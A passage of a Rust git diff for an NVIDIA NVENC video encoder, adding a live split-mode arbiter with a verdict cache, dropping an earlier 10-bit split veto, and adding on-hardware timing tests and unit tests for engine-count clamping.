the first increment supports. + /// + /// Asserts behaviour, not timing: that it settles, that it lands on the arm the ~2× split + /// advantage implies, and — the load-bearing one — **zero keyframes after the opening IDR**, + /// which is the whole reason this design is allowed to exist. Run ALONE: + /// cargo test -p pf-encode --features nvenc -- --ignored --test-threads=1 \ + /// nvenc_cuda_split_arbitration_converges --nocapture + #[test] + #[ignore = "requires an NVIDIA GPU + driver — run manually on the RTX box (.21)"] + fn nvenc_cuda_split_arbitration_converges() { + const W: u32 = 3840; + const H: u32 = 2160; + let disable = nv::NV_ENC_SPLIT_ENCODE_MODE::NV_ENC_SPLIT_DISABLE_MODE as u32; + + std::env::set_var("PUNKTFUNK_NVENC_SPLIT_ARBITRATE", "1"); + std::env::set_var("PUNKTFUNK_NVENC_SUBFRAME", "0"); + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + + pf_zerocopy::cuda::make_current().expect("shared CUDA context current"); + let frames: Vec = (0..4).map(|i| nv12_frame(W, H, i)).collect(); + let mut enc = NvencCudaEncoder::open( + Codec::H265, + PixelFormat::Nv12, + W, + H, + 60, + 400_000_000, + true, + 8, + ChromaFormat::Yuv420, + false, + 4, + ) + .expect("open NVENC CUDA session"); + + let mut keyframes = 0usize; + let mut aus = 0usize; + // Enough frames for measure + settle + measure with room to spare. + for i in 0..140u32 { + enc.submit_indexed(&frames[(i % 4) as usize], i) + .expect("submit"); + while let Some(au) = enc.poll().expect("poll") { + aus += 1; + keyframes += au.keyframe as usize; + } + } + let final_mode = enc.split_mode; + let still_arbitrating = enc.arbiter.is_some(); + let verdict = cached_split_verdict(&enc.split_key()); + let enc_engines = enc.encoder_engines; + enc.flush().ok(); + + println!( + "arbitration: {aus} AUs, {keyframes} keyframes, final split_mode={final_mode}, \ + cached verdict={verdict:?}, still running={still_arbitrating}" + ); + assert!(aus > 100, "not enough AUs to complete an arbitration"); + assert!( + !still_arbitrating, + "arbitration did not finish in 140 frames" + ); + assert_eq!( + keyframes, 1, + "THE POINT OF THIS DESIGN: arbitration must cost ZERO extra IDRs — only the session's \ + opening one" + ); + assert_eq!( + verdict, + Some(final_mode), + "the winning arm must be cached so later sessions skip the experiment" + ); + assert_ne!( + final_mode, disable, + "at 4K with two engines a splitting arm is ~2x faster, so single-engine must not win" + ); + // The static rule leaves 4K60 on the fallthrough AUTO (497.7 Mpix/s is under + // SPLIT_FORCE_PIXEL_RATE), so the experiment is AUTO vs the widest forced split — the + // "are we leaving engines idle?" question. Either outcome is legitimate; what must NOT + // happen is landing on single-engine. + println!( + " (incumbent was the static rule's choice; challenger was mode {})", + max_forced_split_mode(enc_engines) + ); + + std::env::remove_var("PUNKTFUNK_NVENC_SPLIT_ARBITRATE"); + std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"); + // The verdict cache is process-global: leaving this session's result in it would steer + // every later test that opens the same config with the split env unset (the D5 legs do + // exactly that). + super::super::nvenc_core::clear_split_verdicts(); + } + + /// ON-HARDWARE — **THE ADA MAIN10 QUESTION**, the one this whole programme has been deferring. + /// + /// The 10-bit split veto rests on a single datapoint: at 5120×1440@240 Main10 on Ada, forced-2 + /// took 7.6 ms/frame against 2.8 ms single-engine — split was **2.7× SLOWER**. That number + /// vetoed splitting for every HDR session on every GPU, and `resolve_split_mode` has now + /// stopped short-circuiting on it, which means a Main10 session above the pixel-rate bar WILL + /// split. If the datapoint generalises, that is a regression and the veto has to come back + /// (scoped properly this time). + /// + /// So: 4K **Main10** (10-bit, via the packed-RGB10 input path), forced-2 against + /// single-engine, same bitrate, sub-frame pinned off so only the split variable moves. + /// Reports rather than asserts — both outcomes are legitimate findings and the point is the + /// number. Run on the **Ada** box (`.181`) and compare against Blackwell (`.21`): + /// cargo test -p pf-encode --features nvenc -- --ignored --test-threads=1 \ + /// nvenc_cuda_main10_split_ab --nocapture + #[test] + #[ignore = "requires an NVIDIA GPU + driver — run manually (Ada .181 vs Blackwell .21)"] + fn nvenc_cuda_main10_split_ab() { + use std::time::Instant; + const BPS: u64 = 400_000_000; + const WARMUP: u32 = 12; + const MEASURED: u32 = 32; + // Mode is overridable so the SAME test can be pointed at the configuration the veto was + // originally measured on — `PF_AB_MODE=5120x1440x240` reproduces the 2.7×-slower datapoint's + // operating point, which is the one config this change flips behaviour for. + let (w, h, fps) = std::env::var("PF_AB_MODE") + .ok() + .and_then(|s| { + let p: Vec = s.split('x').filter_map(|v| v.parse().ok()).collect(); + (p.len() == 3).then(|| (p[0], p[1], p[2])) + }) + .unwrap_or((3840, 2160, 60)); + + std::env::set_var("PUNKTFUNK_NVENC_SUBFRAME", "0"); + pf_zerocopy::cuda::make_current().expect("shared CUDA context current"); + // 10-bit input: the packed 2:10:10:10 PQ path is how a Main10 session is actually fed here + // (`bit_depth`/`hdr` are DERIVED from the input format, never trusted from the args). + let frames: Vec = (0..4).map(|i| rgb10_frame(w, h, i)).collect(); + + let run = |split: &str| -> (u128, u8, usize) { + std::env::set_var("PUNKTFUNK_SPLIT_ENCODE", split); + let mut enc = NvencCudaEncoder::open( + Codec::H265, + PixelFormat::X2Rgb10, + w, + h, + fps, + BPS, + true, + 10, + ChromaFormat::Yuv420, + false, + 4, + ) + .expect("open NVENC CUDA session"); + let (mut times, mut bytes) = (Vec::new(), Vec::new()); + for i in 0..(WARMUP + MEASURED) { + let t0 = Instant::now(); + enc.submit_indexed(&frames[(i % 4) as usize], i) + .expect("submit"); + let mut got = 0usize; + while let Some(au) = enc.poll().expect("poll") { + got = au.data.len(); + } + if i >= WARMUP { + times.push(t0.elapsed().as_micros()); + bytes.push(got); + } + } + let depth = enc.bit_depth; + let opened = enc.split_mode; + enc.flush().ok(); + times.sort_unstable(); + bytes.sort_unstable(); + println!( + " (opened split_mode={opened}, derived bit_depth={depth}, \ + {} B/AU)", + bytes[bytes.len() / 2] + ); + (times[times.len() / 2], depth, bytes[bytes.len() / 2]) + }; + + println!( + "Main10 split A/B @ {w}x{h}@{fps} HEVC 10-bit, {} Mbps:", + BPS / 1_000_000 + ); + let (single_us, d1, _) = run("0"); + println!(" single-engine : {single_us:>6} us/frame"); + let (split_us, d2, _) = run("2"); + println!(" forced 2-way : {split_us:>6} us/frame"); + assert_eq!(d1, 10, "leg 1 did not derive a 10-bit session"); + assert_eq!(d2, 10, "leg 2 did not derive a 10-bit session"); + let ratio = single_us as f64 / split_us.max(1) as f64; + println!( + " ⇒ split is {ratio:.2}× the single-engine rate — {}", + if ratio > 1.15 { + "split WINS for Main10 here; the 2.7x-slower datapoint does NOT generalise" + } else if ratio < 0.87 { + "split LOSES for Main10 — the veto was right and must come back, scoped" + } else { + "a wash; neither arm is clearly better for Main10 here" + } + ); + + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"); + } + + /// ON-HARDWARE — **THE BITS/FRAME CURVE**, the measurement this whole programme has been blind + /// to (WP0's real deliverable). + /// + /// Every other timing here was taken against driver-zeroed buffers, so rate control had + /// nothing to code (~300 B/AU against an 833 KB quota) and only the PIXEL-proportional half of + /// the encode cost was ever exercised. But the 4K60 HDR field report was a *bits/frame* + /// problem — 6.8 Mbit/frame — and the central hypothesis is that split's benefit and the + /// 10-bit veto's origin both live on that axis. [`noise_nv12_frame`] finally puts real entropy + /// in front of the encoder. + /// + /// Sweeps bitrate at a fixed mode, single-engine vs forced-2, and prints **bytes/AU alongside + /// every timing** — without that column a run that silently undershoots its quota looks like a + /// result instead of a non-measurement. Run on both boxes: + /// cargo test -p pf-encode --features nvenc -- --ignored --test-threads=1 \ + /// nvenc_cuda_bits_per_frame_curve --nocapture + #[test] + #[ignore = "requires an NVIDIA GPU + driver — run manually (Ada .181 / Blackwell .21)"] + fn nvenc_cuda_bits_per_frame_curve() { + use std::time::Instant; + const WARMUP: u32 = 10; + const MEASURED: u32 = 24; + let (w, h, fps) = std::env::var("PF_AB_MODE") + .ok() + .and_then(|s| { + let p: Vec = s.split('x').filter_map(|v| v.parse().ok()).collect(); + (p.len() == 3).then(|| (p[0], p[1], p[2])) + }) + .unwrap_or((3840, 2160, 60)); + + std::env::set_var("PUNKTFUNK_NVENC_SUBFRAME", "0"); + pf_zerocopy::cuda::make_current().expect("shared CUDA context current"); + // Sweep CONTENT DETAIL, not nominal bitrate. Pure noise is incompressible, so a low + // bitrate target simply overshoots (measured: 719 KB/AU against a 104 KB quota) and every + // low row lands at the same high bits/frame — the exact blindness this test exists to fix. + // Blockier content codes cheaper, so detail is what actually moves along the axis, and the + // x-axis below is the bits/frame the encoder ACTUALLY produced, never the one requested. + let bps: u64 = 600_000_000; + println!( + "bits/frame curve @ {w}x{h}@{fps} HEVC 8-bit, REAL content, {} Mbps cap:", + bps / 1_000_000 + ); + println!(" detail | ACTUAL bits/frame | single | split-2 | ratio"); + for block in [64usize, 32, 16, 8, 4, 1] { + let frames: Vec = + (0..4).map(|i| noise_nv12_frame(w, h, i, block)).collect(); + let run = |split: &str| -> (u128, usize) { + std::env::set_var("PUNKTFUNK_SPLIT_ENCODE", split); + let mut enc = NvencCudaEncoder::open( + Codec::H265, + PixelFormat::Nv12, + w, + h, + fps, + bps, + true, + 8, + ChromaFormat::Yuv420, + false, + 4, + ) + .expect("open NVENC CUDA session"); + let (mut times, mut bytes) = (Vec::new(), Vec::new()); + for i in 0..(WARMUP + MEASURED) { + let t0 = Instant::now(); + enc.submit_indexed(&frames[(i % 4) as usize], i) + .expect("submit"); + let mut got = 0usize; + while let Some(au) = enc.poll().expect("poll") { + got = au.data.len(); + } + if i >= WARMUP { + times.push(t0.elapsed().as_micros()); + bytes.push(got); + } + } + enc.flush().ok(); + times.sort_unstable(); + bytes.sort_unstable(); + (times[times.len() / 2], bytes[bytes.len() / 2]) + }; + let (s_us, s_bytes) = run("0"); + let (p_us, _) = run("2"); + println!( + " {block:>5}px | {:>10.2} Mbit | {s_us:>6}us | {p_us:>6}us | {:>4.2}×", + s_bytes as f64 * 8.0 / 1e6, + s_us as f64 / p_us.max(1) as f64 + ); + } + + std::env::remove_var("PUNKTFUNK_SPLIT_ENCODE"); + std::env::remove_var("PUNKTFUNK_NVENC_SUBFRAME"); + } + /// A pre-session RFI request and nonsense ranges all correctly decline (→ caller forces IDR). /// Needs no GPU session (it short-circuits on the null encoder / range checks), so it runs in the /// normal suite — but `open` gates on the NVENC `.so`, so it skips gracefully where the NVIDIA diff --git a/crates/pf-encode/src/enc/nvenc_core.rs b/crates/pf-encode/src/enc/nvenc_core.rs index b591f754..d78420f1 100644 --- a/crates/pf-encode/src/enc/nvenc_core.rs +++ b/crates/pf-encode/src/enc/nvenc_core.rs @@ -67,8 +67,11 @@ pub(super) fn resolve_slices(codec: Codec, default_slices: u32) -> u32 { /// Resolved sub-frame readback (`enableSubFrameWrite` + `reportSliceOffsets`; sync sessions /// only, see [`build_init_params`]): `PUNKTFUNK_NVENC_SUBFRAME` tri-state — `0` = never (the /// default-on escape), `1` = force (even where the caps probe says unsupported — an operator -/// explicitly testing), unset = the backend's `default_on` (Linux direct-NVENC passes its -/// SUBFRAME_READBACK caps-probe result since Phase 3; Windows passes `false`). +/// explicitly testing), unset = the backend's `default_on` — which is the GPU's +/// `SUBFRAME_READBACK` caps-probe result on **both** backends now (Linux since Phase 3, Windows +/// since the 2026-07-31 `.173` A/B). This comment used to say "Windows passes `false`"; it had +/// been stale since that flip, which mattered because it made the AUTO-plus-sub-frame dead +/// combination look Linux-only when it is fleet-wide. pub(super) fn resolve_subframe(default_on: bool) -> bool { match std::env::var("PUNKTFUNK_NVENC_SUBFRAME").as_deref() { Ok("0") => false, @@ -77,41 +80,6 @@ pub(super) fn resolve_subframe(default_on: bool) -> bool { } } -/// Resolved NVENC split-frame encode mode for a session — ONE selector shared by the Windows and -/// Linux direct-SDK backends (they had drifted into byte-identical duplicates, one of which -/// logged and one didn't). Precedence: -/// 1. `PUNKTFUNK_SPLIT_ENCODE` = `0`/`disable` | `1`/`auto` (AUTO_FORCED) | `2` | `3` — operator -/// override, always wins. -/// 2. 10-bit → DISABLE: 2-way split is measurably SLOWER on Ada for Main10 — at 5120×1440@240 -/// forced-2 took 7.6 ms/frame (~131 fps) vs 2.8 ms (~357 fps) single-engine (the split/merge -/// overhead dominates), and a single engine handles 5K@240 Main10 well under budget. This was -/// the "broken animations in HDR" cap at ~131 fps. -/// 3. Pixel rate ≥ [`super::SPLIT_FORCE_PIXEL_RATE`] → force 2-way (AUTO never engages below -/// ~2112 px height, so 4K120 must be forced onto the second engine). -/// 4. Else AUTO (the ~2% BD-rate split cost isn't worth it at low pixel rates). -/// -/// The caller still owns the rejection fallback (retry split-disabled) — a codec/config that -/// rejects the chosen mode downgrades at open, not here. -pub(super) fn resolve_split_mode(bit_depth: u8, pixel_rate: u64) -> u32 { - use nv::NV_ENC_SPLIT_ENCODE_MODE as M; - let mode = match std::env::var("PUNKTFUNK_SPLIT_ENCODE").ok().as_deref() { - Some("0") | Some("disable") => M::NV_ENC_SPLIT_DISABLE_MODE as u32, - Some("1") | Some("auto") => M::NV_ENC_SPLIT_AUTO_FORCED_MODE as u32, - Some("3") => M::NV_ENC_SPLIT_THREE_FORCED_MODE as u32, - Some("2") => M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32, - _ if bit_depth >= 10 => M::NV_ENC_SPLIT_DISABLE_MODE as u32, - _ if pixel_rate >= super::SPLIT_FORCE_PIXEL_RATE => M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32, - _ => M::NV_ENC_SPLIT_AUTO_MODE as u32, - }; - tracing::debug!( - split_mode = mode, - bit_depth, - pixel_rate, - "NVENC split-encode mode selected" - ); - mode -} - /// Whether the operator EXPLICITLY forced sub-frame readback on (`PUNKTFUNK_NVENC_SUBFRAME=1`) /// — the log-severity input to [`resolve_split_subframe`]: a forced knob being overridden /// deserves a `warn`, a default being tuned an `info`. Callers LATCH this once next to their @@ -177,6 +145,20 @@ pub(super) fn resolve_split_subframe( } return (split_mode, false); } + // The silently-inert combination, made visible. HEVC + plain AUTO + sub-frame: the driver + // cannot split (mutually unsupported) so it resolves AUTO to no-split — MEASURED on `.21` at + // 4K, AUTO+sub-frame 5023/5157 µs vs DISABLE's 4979/5000, while the same AUTO with sub-frame + // OFF splits at 2401/2352 vs TWO_FORCED's 2319/2378. This is the fleet's default shape, so + // "split_mode=AUTO" in a log has meant "no split" for every default session and nothing said + // so. Deliberately NOT rewritten to DISABLE: the mode we pass is what the driver was actually + // given, and the ceiling-cache key must keep describing that. + if codec == Codec::H265 && subframe && split_mode == M::NV_ENC_SPLIT_AUTO_MODE as u32 { + tracing::debug!( + "NVENC: split-encode AUTO with sub-frame readback on — the driver cannot split HEVC \ + in this combination, so this session runs SINGLE-ENGINE (measured). Set \ + PUNKTFUNK_NVENC_SUBFRAME=0 to trade sub-frame for a real split." + ); + } (split_mode, subframe) } @@ -237,6 +219,28 @@ mod split_subframe_tests { ); } + /// ⚠ DO NOT "SIMPLIFY" THE `AUTO` ARM AWAY. Measured on `.21` at 4K, plain `AUTO` is + /// conditional, not dead: + /// sub-frame ON → 5023/5157 µs ≈ DISABLE 4979/5000 (cannot split — mutually unsupported) + /// sub-frame OFF → 2401/2352 µs ≈ TWO_FORCED 2319/2378 (DOES split) + /// An earlier read of the sub-frame-ON measurement alone concluded "AUTO never splits, retire + /// it" — that would have silently cost every sub-frame-off session its second engine. This + /// test pins the arbitration's half of the contract: AUTO must survive both ways. + #[test] + fn auto_survives_the_arbitration_in_both_subframe_states() { + // Sub-frame on: kept as AUTO (inert, but that is the driver's call, and rewriting it to + // DISABLE would lie to the ceiling-cache key about what the session was given). + assert_eq!( + resolve_split_subframe(Codec::H265, AUTO, true, false), + (AUTO, true) + ); + // Sub-frame off: still AUTO, and here it is a REAL split — the arm must not be demoted. + assert_eq!( + resolve_split_subframe(Codec::H265, AUTO, false, false), + (AUTO, false) + ); + } + /// AV1: both features are legal together (per-tile sub-frame; split constrained only by /// output-into-vidmem) — the arbitration must not touch it. #[test] @@ -248,6 +252,165 @@ mod split_subframe_tests { } } +// Split arbitration now runs on BOTH direct-SDK backends, so these are gated to the union of +// the two rather than to Linux. Kept gated at all because `nvenc_core` is also reachable from +// builds where neither backend is compiled, and an ungated item there is the item-level +// dead_code trap this file already carries three scars from (see `subframe_env_forced`). +#[cfg(any(target_os = "linux", windows))] +/// What the split arbiter wants the backend to do next. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(super) enum ArbAction { + /// Reconfigure the live session to this split mode (in place — S1 proved this is IDR-free). + SwitchTo(u32), + /// Arbitration finished; this mode won and the arbiter will ask for nothing further. + Settled(u32), +} + +#[cfg(any(target_os = "linux", windows))] +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum ArbState { + MeasuringIncumbent, + Settling, + MeasuringChallenger, + Done, +} + +#[cfg(any(target_os = "linux", windows))] +/// Picks the faster of two NVENC split modes **on the live session**, by measuring both. +/// +/// This exists because the alternative — predicting the right mode at open — cannot work: the +/// decision depends on bits/frame, and for an Automatic client the host does not know the +/// steady-state bitrate at open (ABR climbs in place afterwards). Spike S1 showed +/// `nvEncReconfigureEncoder` accepts a changed `splitEncodeMode` with `resetEncoder=0`, emits **no +/// IDR**, and genuinely takes effect — so the encoder can simply try both and keep the winner, +/// with nothing visible on the wire. +/// +/// Deliberately measures rather than models: hard-coded per-architecture constants are exactly how +/// the rule this replaces went wrong (one 5120×1440@240 Ada datapoint generalised into a fleet-wide +/// 10-bit veto). A measurement tracks driver updates for free. +/// +/// ⚠ **`SETTLE_FRAMES` is load-bearing, not padding.** Split-encode does not reach steady state on +/// the first frame — a *fresh* `TWO_FORCED` session measured early-half 3280 µs against late-half +/// 1996 on `.21`. Judging an arm immediately after switching to it reads the transient, and does so +/// **intermittently**, which is the worst failure mode: the verdict would be wrong only sometimes, +/// and then be cached. +pub(super) struct SplitArbiter { + state: ArbState, + incumbent: u32, + challenger: u32, + samples: Vec, + incumbent_us: u64, + settle_left: u32, + /// Latency the challenger COSTS beyond its encode time, added to its measured result before + /// the comparison. Non-zero only when winning the split means giving up sub-frame readback: + /// sub-frame lets the send overlap the encode, so losing it pushes the AU's last byte out by + /// roughly `send_spread × (slices−1)/slices`. Without this term the arbiter compares encode + /// against encode, always prefers split on HEVC, and makes end-to-end latency worse while + /// reporting a win. + challenger_handicap_us: u64, +} + +/// Frames discarded after a switch before the challenger is judged (measured — see the struct doc). +#[cfg(any(target_os = "linux", windows))] +const SETTLE_FRAMES: u32 = 16; +/// Frames measured per arm. Long enough to median out content variation, short enough that the +/// whole arbitration is over in well under a second at 60 fps. +#[cfg(any(target_os = "linux", windows))] +const SAMPLE_FRAMES: usize = 24; +/// The challenger must beat the incumbent by this much to win. Switching is not free (a +/// reconfigure, and for HEVC it costs sub-frame readback), so a coin-flip difference should leave +/// the session where it already is. +#[cfg(any(target_os = "linux", windows))] +const WIN_MARGIN_PCT: u64 = 10; + +#[cfg(any(target_os = "linux", windows))] +impl SplitArbiter { + /// `handicap_us` is what the challenger costs OUTSIDE the encode it is measured on — pass `0` + /// when it gives up nothing. See [`Self::challenger_handicap_us`]. + pub(super) fn with_handicap(incumbent: u32, challenger: u32, handicap_us: u64) -> Self { + Self { + state: ArbState::MeasuringIncumbent, + incumbent, + challenger, + samples: Vec::with_capacity(SAMPLE_FRAMES), + incumbent_us: 0, + settle_left: 0, + challenger_handicap_us: handicap_us, + } + } + + /// Feed one frame's encode time. Returns an action when the arbiter wants the session changed. + pub(super) fn on_frame(&mut self, us: u64) -> Option { + match self.state { + ArbState::Done => None, + ArbState::Settling => { + self.settle_left = self.settle_left.saturating_sub(1); + if self.settle_left == 0 { + self.state = ArbState::MeasuringChallenger; + self.samples.clear(); + } + None + } + ArbState::MeasuringIncumbent => { + self.samples.push(us); + if self.samples.len() < SAMPLE_FRAMES { + return None; + } + self.incumbent_us = median(&mut self.samples); + self.state = ArbState::Settling; + self.settle_left = SETTLE_FRAMES; + Some(ArbAction::SwitchTo(self.challenger)) + } + ArbState::MeasuringChallenger => { + self.samples.push(us); + if self.samples.len() < SAMPLE_FRAMES { + return None; + } + // Compare TOTAL cost, not encode cost: whatever the challenger gives up outside + // the encode (on HEVC, the sub-frame send overlap) is charged to it here. + let challenger_us = median(&mut self.samples) + self.challenger_handicap_us; + self.state = ArbState::Done; + // Strictly better by the margin, or the incumbent keeps the session. Equal-ish is + // deliberately a win for the incumbent: we are already there. + let threshold = self + .incumbent_us + .saturating_sub(self.incumbent_us.saturating_mul(WIN_MARGIN_PCT) / 100); + if challenger_us < threshold { + tracing::info!( + winner = self.challenger, + winner_us = challenger_us, + loser = self.incumbent, + loser_us = self.incumbent_us, + "NVENC split arbitration: challenger wins — keeping it" + ); + Some(ArbAction::Settled(self.challenger)) + } else { + tracing::info!( + winner = self.incumbent, + winner_us = self.incumbent_us, + loser = self.challenger, + loser_us = challenger_us, + "NVENC split arbitration: incumbent held — switching back" + ); + // The session is currently running the challenger, so returning to the + // incumbent is an actual reconfigure, not a no-op. + Some(ArbAction::SwitchTo(self.incumbent)) + } + } + } + } + + pub(super) fn is_done(&self) -> bool { + self.state == ArbState::Done + } +} + +#[cfg(any(target_os = "linux", windows))] +fn median(v: &mut [u64]) -> u64 { + v.sort_unstable(); + v[v.len() / 2] +} + /// One session config's identity for the process-lifetime bitrate-ceiling cache /// ([`cached_ceiling`]/[`store_ceiling`]). Everything the driver's codec-level validation keys /// off: the GPU (different NVENC generations have different level ceilings), dims/fps (the luma @@ -292,9 +455,61 @@ pub(super) fn store_ceiling(key: CeilingKey, bps: u64) { ceilings().lock().unwrap().insert(key, bps); } +#[cfg(any(target_os = "linux", windows))] +/// A config's identity for the split-arbitration verdict cache — [`CeilingKey`] **minus +/// `split_mode`**, because the split mode is the thing being decided. Including it would key each +/// verdict under the arm that produced it and the cache could never answer "which arm should this +/// config use?". +#[derive(Clone, Copy, PartialEq, Eq, Hash)] +pub(super) struct SplitKey { + pub gpu: u64, + pub codec: Codec, + pub width: u32, + pub height: u32, + pub fps: u32, + pub bit_depth: u8, + pub chroma_444: bool, +} + +#[cfg(any(target_os = "linux", windows))] +fn split_verdicts() -> &'static std::sync::Mutex> { + static V: std::sync::OnceLock>> = + std::sync::OnceLock::new(); + V.get_or_init(Default::default) +} + +#[cfg(any(target_os = "linux", windows))] +/// The split mode a previous arbitration found fastest for `key` this process lifetime. +/// +/// Process-lifetime and advisory, exactly like [`cached_ceiling`]: a session that reads a verdict +/// opens straight into the winning arm and skips the ~1 s exploration. It is NOT persisted — a +/// driver update can change the answer, and a stale verdict on disk would outlive its evidence +/// (persisting it needs the driver version in the key; see the plan's WP3). +pub(super) fn cached_split_verdict(key: &SplitKey) -> Option { + split_verdicts().lock().unwrap().get(key).copied() +} + +#[cfg(any(target_os = "linux", windows))] +/// Record an arbitration result for `key`. +pub(super) fn store_split_verdict(key: SplitKey, mode: u32) { + split_verdicts().lock().unwrap().insert(key, mode); +} + +#[cfg(any(target_os = "linux", windows))] +/// Drop every cached verdict. Test-only: the cache is process-global, so an on-hardware test that +/// runs an arbitration would otherwise leak its verdict into every later test that opens the same +/// config with `PUNKTFUNK_SPLIT_ENCODE` unset — which is exactly the shape the D5 legs use. +// Linux-only: its sole caller is `nvenc_cuda`'s arbitration on-hw test. Ungated it is dead +// code on Windows — the same item-level trap, now four times over. +#[cfg(all(test, target_os = "linux"))] +pub(super) fn clear_split_verdicts() { + split_verdicts().lock().unwrap().clear(); +} + #[cfg(test)] mod tests { use super::*; + use crate::{clamp_to_engines, max_forced_split_mode, resolve_split_mode}; use nv::NV_ENC_SPLIT_ENCODE_MODE as M; // These assume PUNKTFUNK_SPLIT_ENCODE is unset (CI); an operator override deliberately wins. @@ -382,7 +597,7 @@ mod tests { // 4090 because AUTO never engages at 2160 px height. let four_k_120 = 3840u64 * 2160 * 120; assert_eq!( - resolve_split_mode(8, four_k_120), + resolve_split_mode(Codec::H265, 8, four_k_120, 2), M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32 ); } @@ -392,22 +607,141 @@ mod tests { // 884.7 Mpix/s is comfortably single-engine — the threshold move must not drag it in. let qhd_240 = 2560u64 * 1440 * 240; assert_eq!( - resolve_split_mode(8, qhd_240), + resolve_split_mode(Codec::H265, 8, qhd_240, 2), M::NV_ENC_SPLIT_AUTO_MODE as u32 ); } #[test] - fn split_disabled_for_10bit_even_at_high_pixel_rate() { - // The measured Main10 rule: split/merge overhead dominates 10-bit on Ada (7.6 ms forced-2 - // vs 2.8 ms single-engine at 5K240) — 10-bit precedes the pixel-rate arm. - let five_k_240 = 5120u64 * 1440 * 240; + fn split_rules_for_10bit_after_dropping_the_short_circuit() { + let five_k_240 = 5120u64 * 1440 * 240; // 1.77 Gpix/s — over the bar + let four_k_120 = 3840u64 * 2160 * 120; // 995.3 Mpix/s — over the bar + let hd_60 = 1920u64 * 1080 * 60; // 124 Mpix/s — well under + + // ⚠ BEHAVIOUR FLIP, deliberate: the config the Main10 veto was measured on (7.6 ms + // forced-2 vs 2.8 ms single-engine on Ada) now clears the pixel-rate bar and SPLITS. The + // datapoint is one sample at low bits/frame; re-measuring it on Ada is the first on-glass + // item, and PUNKTFUNK_SPLIT_ENCODE=0 is the escape if it regresses. assert_eq!( - resolve_split_mode(10, five_k_240), + resolve_split_mode(Codec::H265, 10, five_k_240, 2), + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32 + ); + // D1: 10-bit 4K120 used to be vetoed by the depth rule BEFORE reaching the pixel-rate arm + // written for exactly it. It splits now. + assert_eq!( + resolve_split_mode(Codec::H265, 10, four_k_120, 2), + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32 + ); + // Under the bar, HEVC Main10 keeps the conservative single-engine default — a second + // engine buys nothing there, so being wrong costs ~nil. + assert_eq!( + resolve_split_mode(Codec::H265, 10, hd_60, 2), M::NV_ENC_SPLIT_DISABLE_MODE as u32 ); } + /// D2: the Main10 rule was measured on HEVC and used to be codec-blind, so it vetoed **AV1 + /// 10-bit** — which has neither the sub-frame conflict nor any measurement against it. + #[test] + fn av1_10bit_is_no_longer_vetoed_by_an_hevc_measurement() { + let hd_60 = 1920u64 * 1080 * 60; + let four_k_120 = 3840u64 * 2160 * 120; + assert_eq!( + resolve_split_mode(Codec::Av1, 10, hd_60, 2), + M::NV_ENC_SPLIT_AUTO_MODE as u32, + "AV1 10-bit must follow the ordinary path, not inherit an HEVC veto" + ); + assert_eq!( + resolve_split_mode(Codec::Av1, 10, four_k_120, 2), + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32 + ); + } + + /// THE ENGINE-COUNT FIX: a high-pixel-rate session must use every engine the GPU has, not a + /// hard-coded two. A 3-NVENC part (GB202 / AD102 workstation) left at 2-way wastes a third of + /// its encode silicon, and the driver never complains because it accepts an over- OR + /// under-wide request without comment. + #[test] + fn split_uses_every_engine_the_gpu_has() { + let four_k_120 = 3840u64 * 2160 * 120; + assert_eq!( + resolve_split_mode(Codec::H265, 8, four_k_120, 3), + M::NV_ENC_SPLIT_THREE_FORCED_MODE as u32, + "a 3-engine GPU must split three ways" + ); + assert_eq!( + resolve_split_mode(Codec::H265, 8, four_k_120, 1), + M::NV_ENC_SPLIT_DISABLE_MODE as u32, + "a 1-engine GPU must not pretend to split — today this costs a wasted session open" + ); + assert_eq!( + resolve_split_mode(Codec::H265, 8, four_k_120, 0), + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32, + "unprobed engine count keeps the historical assumption; the rejection fallback corrects" + ); + } + + /// `NV_ENC_SPLIT_ENCODE_MODE` cannot NAME more than three (SDK 0.4.0 / NVENCAPI 12.1), so a + /// hypothetical wider part falls back to AUTO_FORCED = "split, driver picks how many" — which + /// is measurably a real split (2.01× vs disabled on `.21`), not a no-op. + #[test] + fn split_beyond_three_engines_delegates_to_the_driver() { + assert_eq!( + max_forced_split_mode(4), + M::NV_ENC_SPLIT_AUTO_FORCED_MODE as u32 + ); + assert_eq!( + max_forced_split_mode(8), + M::NV_ENC_SPLIT_AUTO_FORCED_MODE as u32 + ); + } + + /// An operator over-ask must be clamped, because the DRIVER WON'T: measured on `.21` (2 NVENC), + /// `THREE_FORCED` was honoured and ran identically to `TWO_FORCED` (2303 vs 2308 µs/frame) — + /// a log claiming a 3-way split over a 2-way encode. Clamping keeps the log honest. + #[test] + fn operator_override_is_clamped_to_real_engine_count() { + assert_eq!( + clamp_to_engines( + M::NV_ENC_SPLIT_THREE_FORCED_MODE as u32, + max_forced_split_mode(2), + 2 + ), + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32, + "asking for 3 on a 2-engine card must clamp to 2" + ); + // Within budget → untouched. + assert_eq!( + clamp_to_engines( + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32, + max_forced_split_mode(3), + 3 + ), + M::NV_ENC_SPLIT_TWO_FORCED_MODE as u32 + ); + // Unknown engine count must not clamp — we have nothing to clamp against. + assert_eq!( + clamp_to_engines( + M::NV_ENC_SPLIT_THREE_FORCED_MODE as u32, + max_forced_split_mode(0), + 0 + ), + M::NV_ENC_SPLIT_THREE_FORCED_MODE as u32 + ); + // ⚠ The ordering trap: on a >3-engine part `hw_max` is AUTO_FORCED (1), which is NOT + // "narrower than" TWO_FORCED (2) despite comparing smaller. A naive `min` would clamp a + // legitimate 3-way request down to AUTO on the widest hardware we support. + assert_eq!( + clamp_to_engines( + M::NV_ENC_SPLIT_THREE_FORCED_MODE as u32, + max_forced_split_mode(4), + 4 + ), + M::NV_ENC_SPLIT_THREE_FORCED_MODE as u32, + "a 4-engine GPU must honour an explicit 3-way request, not collapse it to AUTO" + ); + } + #[test] fn ceiling_cache_round_trips_and_keys_precisely() { let key = CeilingKey { @@ -851,3 +1185,184 